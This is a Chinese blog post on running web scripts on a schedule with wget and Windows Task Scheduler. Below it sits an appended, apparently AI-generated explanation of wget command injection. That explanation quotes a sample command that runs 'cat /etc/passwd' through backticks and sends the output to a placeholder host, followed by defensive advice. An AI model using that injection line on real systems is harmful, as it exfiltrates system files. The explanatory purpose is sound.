用wget实现WEB程序的定时执行

  WEB脚本程序不能像EXE程序一样长驻内存,故一般不能实现定时执行的功能。可是有比如定时维护的方面的需要又怎么办?在一次研究一开源程序(phpadsnew)的时发现可以通过工具实现这一功能,现将此功能描述出来。
  首先要介绍一个工具叫wget,此工具可以实现通过命令行的方式来下载网页,并支持FTP、SSL等。有了这个工具,我们目的基本就可以实现了--建一个windows的任务计划,并定时执行一个批文件(.bat)就行。下面开始行动:
  1、在wget.exe所在的目录新建一个以“bat”为扩展名的文本文件,并在内容中输入:
  wget -q -O - http://www.szonline.net
        参数请注意大小写,其中-q的意思是指不输出详细信息,-O为指定下载文件的名字,此处值为“-”代表不命名,相当于只执行脚本而不保存文件,后面就你要执行的脚本的链接地址了。
  2、通过在“控制面板->任务计划”的功能来添加定时执行的任务,以下以每天每小时定时执行一次为例:
             a.点击“添加任务计划”,并在弹出的窗口点击“下一步”,通过“浏览”定位到我们刚才建立的bat文件,选择“每天”执行,并再次点击“下一步”。
             b.在新的向导窗口中选择任务的开始时间为0:00,点击“下一步”输入任务执行的用户名及密码,再次点击“下一步”时,便到了完成对话,注意一定要选择“在单击完成时,显示该任务的高级属性”。

(选择从0:00开始)


             c.在新弹出的任务的属性对话框的“日程安排”页,点击“高级”按钮,在弹出的对话框选择“重复”选项,将重复时间设为一小时,并且每天重复到23:59。点击“确定”直到完成。


  至此,我们所有的步骤已经完成,bat内指定的页面脚本将定时执行一次。(作者:谭永其)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
执行wget命令注入攻击是一种常见的安全漏洞。通过在wget命令中插入恶意代码,攻击者可以获取敏感信息或在目标系统上执行恶意操作。其中一种常见的注入方式是在wget命令中使用特殊字符和命令替换来执行恶意代码。 例如,引用中给出的示例命令`wget –header=”evil:`cat /etc/passwd | xargs echo –n`” http://xxx.xxx.xxx:xxxx`,使用了反引号 \` 和管道符 | 来执行`cat /etc/passwd`命令,并将其结果传递给`xargs echo -n`命令。攻击者可以通过这种方式获取到目标系统的密码文件(/etc/passwd)内容。 为了防止这种注入攻击,用户需要谨慎处理输入数据,确保不会被当作命令执行。一种常见的防范措施是使用输入过滤和验证来限制用户输入的内容,例如对特殊字符进行转义或剥离。 此外,系统管理员也应该定期更新系统和软件,以修复已知的安全漏洞,并限制用户的权限,以减少攻击者能够执行的恶意操作。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [web安全之命令注入](https://blog.csdn.net/weixin_54584489/article/details/130127546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [利用命令注入外带数据的一些姿势](https://blog.csdn.net/m0_59598029/article/details/128910240)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值